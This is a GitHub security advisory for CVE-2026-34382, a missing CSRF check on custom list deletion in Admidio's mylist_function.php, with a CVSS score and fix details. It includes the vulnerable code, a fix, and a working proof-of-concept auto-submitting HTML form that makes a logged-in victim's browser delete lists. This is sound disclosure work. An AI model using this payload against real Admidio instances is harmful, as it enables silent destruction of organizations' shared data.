GHSA-G3MX-8JM6-RC85
Vulnerability from github – Published: 2026-03-31 23:10 – Updated: 2026-04-06 19:41Reported by: Juan Felipe Oz @JF0x0r
Summary
The delete mode handler in mylist_function.php permanently deletes list configurations without validating a CSRF token. An attacker who can lure an authenticated user to a malicious page can silently destroy that user's list configurations — including organization-wide shared lists when the victim holds administrator rights.
Vulnerable Code
File: modules/groups-roles/mylist_function.php
The CSRF token validation at lines 81–82 is scoped exclusively to the save, save_as, and save_temporary modes:
// Line 81-82 — only runs for save modes
$categoryReportConfigForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
if ($_POST['adm_csrf_token'] !== $categoryReportConfigForm->getCsrfToken()) {
throw new Exception('Invalid or missing CSRF token!');
}
The delete case at lines 159–161 executes the destructive operation with no token check:
} elseif ($getMode === 'delete') {
// delete list configuration
$list->delete(); // no CSRF validation
echo json_encode(array('status' => 'success', ...));
exit();
}
A global input guard at lines 40–48 requires a non-empty column[] POST parameter for all modes including delete. This guard serves no security purpose for deletion, it exists for save validation but it must be satisfied to reach the delete handler. Any static value such as LAST_NAME is sufficient.
Impact
Any authenticated user with list edit permission can be targeted. Admidio ships with six organization-wide shared lists (lst_global = 1): Address list, Phone list, Contact information, Membership, Members, and Contacts. When an administrator is the CSRF victim, these global lists are permanently deleted affecting all members of the organization. There is no soft-delete or recovery mechanism.
Proof of Concept
First my video PoC, after that, the proof of concept with detail.
-
Prerequisites: Victim is authenticated in Admidio. Attacker knows the target list UUID (visible in the page URL at modules/groups-roles/mylist.php?list_uuid=...)
-
Step 1: Attacker serves this page from any HTTP origin:
<!DOCTYPE html>
<html>
<body>
<form id="f" method="POST"
action="http://TARGET/modules/groups-roles/mylist_function.php?mode=delete&list_uuid=TARGET_UUID">
<input type="hidden" name="column[]" value="LAST_NAME">
</form>
<script>document.getElementById('f').submit();</script>
</body>
</html>
Since browsers block CSRF files, I did the proof of concept by setting up a local server with Python on the 9090. ok?
- Step 2: Victim visits the attacker page while logged into Admidio.
- Step 3: Server responds immediately:
{"status":"success","url":".../modules/groups-roles/mylist.php"}
- Step 4: List is permanently deleted. Verified via:
SELECT lst_name FROM adm_lists WHERE lst_uuid='TARGET_UUID';
-- Empty result set
No
adm_csrf_tokenfield is required anywhere in the request.
Recommendation Fix:
It's so simple.
- Apply the same
SecurityUtils::validateCsrfToken()pattern already used in the save modes:
} elseif ($getMode === 'delete') {
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$list->delete();
echo json_encode(array('status' => 'success', ...));
exit();
}
Additionally, the column[] input guard at lines 40–48 should be moved inside the in_array($getMode, ['save', 'save_as', 'save_temporary']) block, since delete requires no column data and the guard currently forces attackers to include a trivially satisfiable dummy value.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.7"
},
"package": {
"ecosystem": "Packagist",
"name": "admidio/admidio"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.0.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34382"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-31T23:10:41Z",
"nvd_published_at": "2026-03-31T21:16:30Z",
"severity": "MODERATE"
},
"details": "**Reported by:** Juan Felipe Oz [@JF0x0r](https://x.com/PwnedRar_)\n\u003e [LinkedIn](https://www.linkedin.com/in/juanfelipeoz/)\n\n### Summary\n\nThe `delete` mode handler in `mylist_function.php` permanently deletes list configurations without validating a CSRF token. An attacker who can lure an authenticated user to a malicious page can silently destroy that user\u0027s list configurations \u2014 including organization-wide shared lists when the victim holds administrator rights.\n\n### Vulnerable Code\nFile: `modules/groups-roles/mylist_function.php`\n\nThe CSRF token validation at lines **81\u201382** is scoped exclusively to the save, save_as, and save_temporary modes:\n\n```php\n// Line 81-82 \u2014 only runs for save modes\n$categoryReportConfigForm = $gCurrentSession-\u003egetFormObject($_POST[\u0027adm_csrf_token\u0027]);\nif ($_POST[\u0027adm_csrf_token\u0027] !== $categoryReportConfigForm-\u003egetCsrfToken()) {\n throw new Exception(\u0027Invalid or missing CSRF token!\u0027);\n}\n```\n\n\u003cimg width=\"857\" height=\"162\" alt=\"imagen\" src=\"https://github.com/user-attachments/assets/caec390e-ba6f-40f0-bb9c-a8870679da3d\" /\u003e\n\nThe `delete` case at lines **159\u2013161** executes the destructive operation with no token check:\n\n```php\n} elseif ($getMode === \u0027delete\u0027) {\n // delete list configuration\n $list-\u003edelete(); // no CSRF validation\n echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027, ...));\n exit();\n}\n```\n\n\u003cimg width=\"560\" height=\"133\" alt=\"imagen\" src=\"https://github.com/user-attachments/assets/2d5eff8e-bbce-49b9-b6d5-77f4e2e6db69\" /\u003e\n\nA global input guard at lines **40\u201348** requires a non-empty `column[]` POST parameter for all modes including `delete`. This guard serves no security purpose for deletion, it exists for save validation but it must be satisfied to reach the delete handler. Any static value such as `LAST_NAME` is sufficient.\n\n### Impact\n\nAny authenticated user with list edit permission can be targeted. Admidio ships with six organization-wide shared lists (`lst_global = 1`): Address list, Phone list, Contact information, Membership, Members, and Contacts. When an administrator is the CSRF victim, these global lists are permanently deleted affecting all members of the organization. There is no soft-delete or recovery mechanism.\n\n---\n\n### Proof of Concept\n\n\u003e First my video PoC, after that, the proof of concept with detail. \n\n[Watch Video](https://drive.google.com/file/d/1wEdTIH7O0PvlnyjR2I_VpcAl3tvr6saA/view?usp=sharing)\n\n* Prerequisites: Victim is authenticated in Admidio. Attacker knows the target list UUID (visible in the page URL at modules/groups-roles/mylist.php?list_uuid=...)\n\n1. Step 1: Attacker serves this page from any HTTP origin:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n \u003cform id=\"f\" method=\"POST\"\n action=\"http://TARGET/modules/groups-roles/mylist_function.php?mode=delete\u0026list_uuid=TARGET_UUID\"\u003e\n \u003cinput type=\"hidden\" name=\"column[]\" value=\"LAST_NAME\"\u003e\n \u003c/form\u003e\n \u003cscript\u003edocument.getElementById(\u0027f\u0027).submit();\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n\u003e Since browsers block CSRF files, I did the proof of concept by setting up a local server with Python on the 9090. ok? \n\n2. Step 2: Victim visits the attacker page while logged into Admidio.\n3. Step 3: Server responds immediately:\n\n```json\n{\"status\":\"success\",\"url\":\".../modules/groups-roles/mylist.php\"}\n```\n\n4. Step 4: List is permanently deleted. Verified via:\n```sql\nSELECT lst_name FROM adm_lists WHERE lst_uuid=\u0027TARGET_UUID\u0027;\n-- Empty result set\n```\n\u003e No `adm_csrf_token` field is required anywhere in the request.\n\n### Recommendation Fix: \n\n\u003e It\u0027s so simple. \n\n* Apply the same `SecurityUtils::validateCsrfToken()` pattern already used in the save modes:\n\n```php\n} elseif ($getMode === \u0027delete\u0027) {\n SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n $list-\u003edelete();\n echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027, ...));\n exit();\n}\n```\n\nAdditionally, the `column[]` input guard at lines **40\u201348** should be moved inside the `in_array($getMode, [\u0027save\u0027, \u0027save_as\u0027, \u0027save_temporary\u0027])` block, since delete requires no column data and the guard currently forces attackers to include a trivially satisfiable dummy value.\n\n\u003cimg width=\"751\" height=\"240\" alt=\"imagen\" src=\"https://github.com/user-attachments/assets/607510b9-64a9-49fb-8806-604b651d31a8\" /\u003e",
"id": "GHSA-g3mx-8jm6-rc85",
"modified": "2026-04-06T19:41:46Z",
"published": "2026-03-31T23:10:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-g3mx-8jm6-rc85"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34382"
},
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/commit/317ec91ad3baf19d4179db6c32413812eb36d7ca"
},
{
"type": "PACKAGE",
"url": "https://github.com/Admidio/admidio"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Admidio has Missing CSRF Protections on Custom List Deletion in mylist_function.php"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.